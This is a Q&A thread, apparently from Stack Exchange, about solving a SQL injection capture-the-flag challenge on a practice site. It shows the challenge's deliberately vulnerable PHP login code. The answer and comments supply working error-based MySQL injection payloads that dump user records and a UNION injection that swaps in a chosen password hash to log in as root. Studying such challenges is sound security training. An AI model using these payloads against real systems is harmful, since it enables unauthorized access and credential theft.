4

I've been practicing security-related subjects and this challenge has befuddled me. Note: I can't access any PHP source code, nor can I edit it. I'm only able to view it.

The following is given:

  1. I have two inputs, "user" and "pass"
  2. After 30 times the form is sent, the salt, the hashes and the final solution change. So bruteforce isn't an option (sadly!)
  3. @The bottom of the page (not shown in the code for some reason), it echos that it found 9 users (calling the getnumberofusers() function)

I've managed to extract this:

username = root

hashed password = 551e18b35e17017742a8ce4ed27f626e

Token (possibly salt?) = 0St31ez14wOT6jTh

What I've attempted thus far with unsuccessful results:

  • Using SQL injection, select a known MD5 collision as password and send its counterpart as "pass", however the salt is bothering this process. Clearly I couldn't bruteforce this because after 30 attempts the salt would change.
    • I tried finding the entire list of users but it doesn't print the output anywhere (only errors)

This is the code we receive:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM `sqlinjection1`";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT `id`, `password` FROM `sqlinjection1` WHERE `username`='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM `sqlinjection1` WHERE `id`=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

Any help is appreciated, and if you have any questions I'd love to clarify my question!

Tom
  • 880
  • 1
  • 7
  • 14
  • @grc Yeah, I was able to find the SQL version (>5). Is there any info you need to be dumped? – Tom Jun 13 '16 at 08:24
  • @grc Couldn't figure out how to do that. What's the query that will do that? – Tom Jun 13 '16 at 08:45
  • You could try the error-based methods [here](http://security.stackexchange.com/a/121207/28626) or [here](https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/). They won't help you with the salt though. – grc Jun 13 '16 at 08:51
  • 1
    @Tom try to read the `welcomemessage ` column. It may have something useful – Sravan Jun 13 '16 at 09:30
  • @Sravan You're right! Post this as an answer and I'll mark it as correct haha thanks – Tom Jun 13 '16 at 09:32
  • @Tom.. Sure Tom.. welcomemessage has the salt? – Sravan Jun 13 '16 at 09:34
  • It gives the answer, but the answer doesn't seem to be correct... Is it possible that this query: ' AND extractvalue(rand(),(SELECT concat(welcomemessage) FROM `sqlinjection1` LIMIT 8,1))# is limiting the amount of text that is returned? – Tom Jun 13 '16 at 09:37
  • @grc That limits the subquery. Select 1 row with offset 8. (so the 9th row) – Tom Jun 13 '16 at 09:40
  • My bad. The error message may have a limit - maybe you could pull the text out in chunks? – grc Jun 13 '16 at 09:43
  • @grc Tried with substr, I get this: Token: c1EZ3dmRGGrtUFMx However that doesn't seem to be the final answer... Could this be the salt? O.O – Tom Jun 13 '16 at 09:48
  • @Tom try this one username=`1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='root')a)) or '1'='1` and some password – Sravan Jun 13 '16 at 09:49

1 Answers1

2

From source code we can see that sqlinjection1 has four known columns username,password,welcomemessage,id.

As people pointed in commnets,We can use error based Sql injection to get the usernames,passwords,welcomemessage,id etc.

Post below parameters in sqli

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a)) or '1'='1

$pass=something

The error printed is

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

So username=user1,password=pass1,welcomemessage=secret message and id=1

Now we can get list of next user using

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a)) or '1'='1

$pass=something

Similarly for other users change the where clause and execute..

We can select single column for a single user as well simply using

$user=1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a)) or '1'='1

Sravan
  • 1,158
  • 5
  • 14
  • Awesome. Now I have this. Token = 0St31ez14wOT6jTh, Password = 551e18b35e17017742a8ce4ed27f626e. Is it possible to find the password? – Tom Jun 13 '16 at 09:58
  • @Tom Since the token is random, we can do a dictionary attack. I guess a attack using some worst 1000-5000 passwords on internet will do the job – Sravan Jun 13 '16 at 10:02
  • 1
    I was thinking about selecting its hashed version using SQL injection. I'll try it and let you know. – Tom Jun 13 '16 at 10:03
  • 1
    @Tom, You are damn right. We dont need to crack the hash, We can set the hash using sql injection :) – Sravan Jun 13 '16 at 10:06
  • @Tom Taking the above token as hash confirmpassword('mypass') generates 722430d39a07e7b218a368c06c665fb9 . So inject username=`nonexist' UNION Select id,'722430d39a07e7b218a368c06c665fb9' from sqlinjection1 where username='root`&pass=mypass – Sravan Jun 13 '16 at 10:13
  • I've tried the exact same thing albeit with unsuccessful results. Here's my documentation of the process, would love it if you could find any mistakes there: http://pastebin.com/miqBabtN – Tom Jun 13 '16 at 10:19
  • Also here's a link to the challenge itself so you can try things: http://www.securitytraps.pl/challs/rootslair/ – Tom Jun 13 '16 at 10:20
  • Let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/41096/discussion-between-tom-and-sravan). – Tom Jun 13 '16 at 10:24